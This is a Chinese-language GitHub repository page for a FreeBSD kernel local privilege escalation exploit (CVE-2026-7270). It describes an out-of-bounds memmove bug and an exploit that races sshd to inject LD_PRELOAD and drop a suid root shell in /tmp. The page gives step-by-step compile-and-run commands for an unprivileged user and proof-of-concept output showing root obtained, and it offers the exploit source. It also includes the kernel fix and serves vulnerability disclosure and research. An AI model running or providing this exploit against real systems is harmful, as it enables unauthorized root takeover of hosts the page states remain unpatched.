babyshen/freebsd-CVE-2026-7270
GitHub: babyshen/freebsd-CVE-2026-7270
针对 FreeBSD 内核 exec_args_adjust_args 函数中存在十余年的运算符优先级缺陷,提供完整的本地提权利用代码与技术分析。
Stars: 0 | Forks: 0
### 参考
https://github.com/califio/publications/tree/main/MADBugs/freebsd-CVE-2026-7270
# CVE-2026-7270
**通过 `exec_args_adjust_args` OOB memmove 实现的 FreeBSD 本地提权**
`exec_args_adjust_args()`(位于 `sys/kern/kern_exec.c`,自 2013 年起存在)中的一个运算符优先级 bug 允许任何本地用户在运行 sshd 的默认 FreeBSD 安装上提权至 root。无需 suid 二进制文件、无需加载内核模块、无需更改任何配置。
## 漏洞详情
```
/* sys/kern/kern_exec.c */
memmove(args->begin_argv + extend, args->begin_argv + consume,
args->endp - args->begin_argv + consume); /* BUG: + should be - */
```
`+ consume` 应为 `- consume`。错误的符号导致 memmove 复制了 `2 * consume` 字节,而不是正确的 `endp - begin_argv - consume`。在 shebang exec 中使用 265,185 字节的 `argv[0]` 时,memmove 会将 528,384 字节的 exec_map 项溢出 2,024 字节到相邻项中——没有崩溃,没有信号,没有页面错误。
## 漏洞利用
该漏洞利用将 OOB memmove 与传入 TCP 连接上 sshd 的 `fork`/`execv` 进行竞争。sshd-session 以 root 到 root 的方式执行,没有 suid/sgid 转换,因此 `issetugid()` 返回 0 且运行时链接器会遵循 `LD_PRELOAD`。该漏洞利用将 `LD_PRELOAD=/tmp/evil.so` 植入到 sshd-session 的 exec_map 项中;evil.so 的构造函数以 uid=0 运行,并在 `/tmp/rootsh` 释放一个 suid root shell。
在 4 CPU 虚拟机上,于第 5,030 轮获取 root 权限,启动后耗时约 6 秒。
## 影响
| | |
|---|---|
| 受影响版本 | FreeBSD 11.0 至 14.4(所有发布版本;截至披露时,所有分支均未修复) |
| 前置条件 | 本地无特权 shell;正在运行 sshd(FreeBSD 默认) |
| 可靠性 | 每轮约 0.6% 命中率;在 4 CPU 系统上数秒内获取 root |
| 测试环境 | FreeBSD 14.4-RELEASE-p1 amd64,GENERIC 内核,4 CPUs,2GB RAM |
## 修复
在 `sys/kern/kern_exec.c` 中修改一个字符:
```
- args->endp - args->begin_argv + consume);
+ args->endp - (args->begin_argv + consume));
```
## 文件
| 文件 | 描述 |
|---|---|
| `exec1_lpe21.c` | 独立漏洞利用程序——以无特权用户身份编译并运行 |
| `run_poc.sh` | QEMU 自动化脚本:启动 FreeBSD 14.4,编译并运行漏洞利用程序 |
| `WRITEUP.md` | 完整技术分析:漏洞分析、漏洞利用架构、开发历史 |
| `blog.md` | 关于发现和漏洞利用开发过程的叙述性记录 |
| `images/` | SVG 图表:exec_map 布局、自复制机制、完整攻击概述 |
## 用法
在 FreeBSD 14.4 目标机上,以任意无特权用户身份执行:
```
gcc -O2 -o /tmp/exec1_lpe21 exec1_lpe21.c
/tmp/exec1_lpe21 15000 0
# ... 几秒 ...
/tmp/rootsh -p
# uid=1001(freebsd) gid=1001(freebsd) euid=0(root)
```
在 QEMU 环境下(macOS 主机,需要 `qemu` 和 `sshpass`):
```
./run_poc.sh # boots VM, compiles, runs exploit
./run_poc.sh run # re-run against already-running VM
./run_poc.sh clean # remove VM artifacts
```
## PoC
```
$ ./run_poc.sh
[*] Booting FreeBSD 14.4 VM (4 CPUs, 2GB RAM, SSH on port 2225)...
[*] QEMU pid 25908, log: vm.log
[*] Waiting for SSH on port 2225...
[*] SSH up after 1s
[*] Copying exploit source to VM...
[*] Creating unprivileged user 'freebsd' and compiling...
[*] Compiled OK
[*] Running exploit as 'freebsd' (up to 15000 rounds)...
[*] Watch for ROOT OBTAINED below:
[!!!] ROOT OBTAINED!
uid=0 euid=0 pid=3413
[!!!] Root shell: /tmp/rootsh -p
[*] Verifying root...
=== /tmp/GOT_ROOT ===
uid=0 euid=0 pid=3413
=== /tmp/rootsh ===
-rwsr-xr-x 1 root wheel 169288 May 7 05:51 /tmp/rootsh
=== id via rootsh ===
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
[*] Stopping VM (pid 25908)...
```
标签:0day挖掘, 0day漏洞, API接口, Cutter, CVE-2026-7270, Exploit, FreeBSD, Hpfeeds, LD_PRELOAD, OOB memmove, Root权限, sshd, Web报告查看器, 内核安全, 客户端加密, 提权漏洞, 本地提权, 竞态条件, 系统调用, 越界读写, 身份验证强制